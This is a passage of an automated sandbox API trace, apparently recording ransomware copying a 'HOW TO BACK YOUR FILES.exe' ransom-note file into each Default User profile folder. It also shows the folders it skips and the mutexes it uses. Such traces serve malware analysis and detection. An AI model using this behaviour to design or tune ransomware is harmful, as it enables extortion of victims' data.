ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0054.105] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.105] ReleaseMutex (hMutex=0xec) returned 1 [0054.105] CloseHandle (hObject=0xec) returned 1 [0054.105] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\AppData" | out: lpString1="C:\\Documents and Settings\\Default User\\AppData") returned="C:\\Documents and Settings\\Default User\\AppData" [0054.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b468 | out: hHeap=0x4f0000) returned 1 [0054.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c278 | out: hHeap=0x4f0000) returned 1 [0054.106] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\AppData") returned 46 [0054.106] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\11C35D9BD688400DED61F1C0012D067F") returned 0xec [0054.106] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.106] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\AppData" | out: lpString1="C:\\Documents and Settings\\Default User\\AppData") returned="C:\\Documents and Settings\\Default User\\AppData" [0054.106] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.106] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.106] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.106] GetLastError () returned 0x0 [0054.106] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.107] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.107] CloseHandle (hObject=0xf4) returned 1 [0054.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.107] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.107] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\AppData\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.107] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.107] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.107] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.107] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.107] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.107] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.107] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.107] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.107] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcf42440, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.107] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.107] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0054.107] lstrcmpiW (lpString1="Local", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.107] lstrcmpiW (lpString1="Local", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.107] lstrcmpiW (lpString1="Local", lpString2=".") returned 1 [0054.107] lstrcmpiW (lpString1="Local", lpString2="..") returned 1 [0054.107] lstrcmpiW (lpString1="Local", lpString2="windows") returned -1 [0054.107] lstrcmpiW (lpString1="Local", lpString2="bootmgr") returned 1 [0054.107] lstrcmpiW (lpString1="Local", lpString2="temp") returned -1 [0054.107] lstrcmpiW (lpString1="Local", lpString2="pagefile.sys") returned -1 [0054.108] lstrcmpiW (lpString1="Local", lpString2="boot") returned 1 [0054.108] lstrcmpiW (lpString1="Local", lpString2="ids.txt") returned 1 [0054.108] lstrcmpiW (lpString1="Local", lpString2="ntuser.dat") returned -1 [0054.108] lstrcmpiW (lpString1="Local", lpString2="perflogs") returned -1 [0054.108] lstrcmpiW (lpString1="Local", lpString2="MSBuild") returned -1 [0054.108] lstrlenW (lpString="Local") returned 5 [0054.108] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Local" | out: lpString1="Local") returned="Local" [0054.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c278 [0054.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52dc00 [0054.108] lstrcatW (in: lpString1="Local", lpString2="\\" | out: lpString1="Local\\") returned="Local\\" [0054.108] lstrcatW (in: lpString1="Local\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Local\\HOW TO BACK YOUR FILES.exe") returned="Local\\HOW TO BACK YOUR FILES.exe" [0054.108] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\local\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.108] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc77d1a20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77d1a20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0054.108] lstrcmpiW (lpString1="LocalLow", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.108] lstrcmpiW (lpString1="LocalLow", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.108] lstrcmpiW (lpString1="LocalLow", lpString2=".") returned 1 [0054.108] lstrcmpiW (lpString1="LocalLow", lpString2="..") returned 1 [0054.108] lstrcmpiW (lpString1="LocalLow", lpString2="windows") returned -1 [0054.109] lstrcmpiW (lpString1="LocalLow", lpString2="bootmgr") returned 1 [0054.109] lstrcmpiW (lpString1="LocalLow", lpString2="temp") returned -1 [0054.109] lstrcmpiW (lpString1="LocalLow", lpString2="pagefile.sys") returned -1 [0054.109] lstrcmpiW (lpString1="LocalLow", lpString2="boot") returned 1 [0054.109] lstrcmpiW (lpString1="LocalLow", lpString2="ids.txt") returned 1 [0054.109] lstrcmpiW (lpString1="LocalLow", lpString2="ntuser.dat") returned -1 [0054.109] lstrcmpiW (lpString1="LocalLow", lpString2="perflogs") returned -1 [0054.109] lstrcmpiW (lpString1="LocalLow", lpString2="MSBuild") returned -1 [0054.109] lstrlenW (lpString="LocalLow") returned 8 [0054.109] lstrcpyW (in: lpString1=0x241e8a6, lpString2="LocalLow" | out: lpString1="LocalLow") returned="LocalLow" [0054.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ade0 [0054.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52dc78 [0054.109] lstrcatW (in: lpString1="LocalLow", lpString2="\\" | out: lpString1="LocalLow\\") returned="LocalLow\\" [0054.109] lstrcatW (in: lpString1="LocalLow\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LocalLow\\HOW TO BACK YOUR FILES.exe") returned="LocalLow\\HOW TO BACK YOUR FILES.exe" [0054.109] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\locallow\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.109] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0054.109] lstrcmpiW (lpString1="Roaming", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.109] lstrcmpiW (lpString1="Roaming", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.110] lstrcmpiW (lpString1="Roaming", lpString2=".") returned 1 [0054.110] lstrcmpiW (lpString1="Roaming", lpString2="..") returned 1 [0054.110] lstrcmpiW (lpString1="Roaming", lpString2="windows") returned -1 [0054.110] lstrcmpiW (lpString1="Roaming", lpString2="bootmgr") returned 1 [0054.110] lstrcmpiW (lpString1="Roaming", lpString2="temp") returned -1 [0054.110] lstrcmpiW (lpString1="Roaming", lpString2="pagefile.sys") returned 1 [0054.110] lstrcmpiW (lpString1="Roaming", lpString2="boot") returned 1 [0054.110] lstrcmpiW (lpString1="Roaming", lpString2="ids.txt") returned 1 [0054.110] lstrcmpiW (lpString1="Roaming", lpString2="ntuser.dat") returned 1 [0054.110] lstrcmpiW (lpString1="Roaming", lpString2="perflogs") returned 1 [0054.110] lstrcmpiW (lpString1="Roaming", lpString2="MSBuild") returned 1 [0054.110] lstrlenW (lpString="Roaming") returned 7 [0054.110] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Roaming" | out: lpString1="Roaming") returned="Roaming" [0054.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52adf8 [0054.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x52dcf0 [0054.110] lstrcatW (in: lpString1="Roaming", lpString2="\\" | out: lpString1="Roaming\\") returned="Roaming\\" [0054.110] lstrcatW (in: lpString1="Roaming\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Roaming\\HOW TO BACK YOUR FILES.exe") returned="Roaming\\HOW TO BACK YOUR FILES.exe" [0054.110] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\appdata\\roaming\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.111] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0054.111] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.111] ReleaseMutex (hMutex=0xec) returned 1 [0054.111] CloseHandle (hObject=0xec) returned 1 [0054.111] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Application Data" | out: lpString1="C:\\Documents and Settings\\Default User\\Application Data") returned="C:\\Documents and Settings\\Default User\\Application Data" [0054.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cfd0 | out: hHeap=0x4f0000) returned 1 [0054.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ccf0 | out: hHeap=0x4f0000) returned 1 [0054.111] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Application Data") returned 55 [0054.111] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\92C0447153091B32BDB07F5EB27206C3") returned 0xec [0054.111] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.111] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Application Data" | out: lpString1="C:\\Documents and Settings\\Default User\\Application Data") returned="C:\\Documents and Settings\\Default User\\Application Data" [0054.111] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.111] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.111] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.112] GetLastError () returned 0x0 [0054.112] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.112] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.112] CloseHandle (hObject=0xf4) returned 1 [0054.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.112] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.112] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.112] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.112] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.112] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.112] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.112] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.112] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.112] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.112] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.112] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcf42440, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.112] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.112] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2=".") returned 1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2="..") returned 1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2="windows") returned -1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2="bootmgr") returned 1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2="temp") returned -1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2="pagefile.sys") returned -1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2="boot") returned 1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2="ids.txt") returned -1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2="ntuser.dat") returned -1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2="perflogs") returned -1 [0054.113] lstrcmpiW (lpString1="Identities", lpString2="MSBuild") returned -1 [0054.113] lstrlenW (lpString="Identities") returned 10 [0054.113] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Identities" | out: lpString1="Identities") returned="Identities" [0054.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ccf0 [0054.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x86) returned 0x513d38 [0054.113] lstrcatW (in: lpString1="Identities", lpString2="\\" | out: lpString1="Identities\\") returned="Identities\\" [0054.113] lstrcatW (in: lpString1="Identities\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Identities\\HOW TO BACK YOUR FILES.exe") returned="Identities\\HOW TO BACK YOUR FILES.exe" [0054.113] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Application Data\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\identities\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.114] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0054.114] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0054.114] lstrlenW (lpString="Microsoft") returned 9 [0054.114] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0054.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ccd8 [0054.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x513dc8 [0054.114] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0054.114] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0054.114] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.115] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0054.115] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.115] ReleaseMutex (hMutex=0xec) returned 1 [0054.115] CloseHandle (hObject=0xec) returned 1 [0054.115] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Contacts" | out: lpString1="C:\\Documents and Settings\\Default User\\Contacts") returned="C:\\Documents and Settings\\Default User\\Contacts" [0054.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b4d0 | out: hHeap=0x4f0000) returned 1 [0054.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd08 | out: hHeap=0x4f0000) returned 1 [0054.115] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Contacts") returned 47 [0054.115] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8F2A9D6BE8A71D3C18BC272A794B8D36") returned 0xec [0054.115] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.115] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Contacts" | out: lpString1="C:\\Documents and Settings\\Default User\\Contacts") returned="C:\\Documents and Settings\\Default User\\Contacts" [0054.115] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.115] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.116] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\contacts\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.116] GetLastError () returned 0x0 [0054.116] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.116] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) 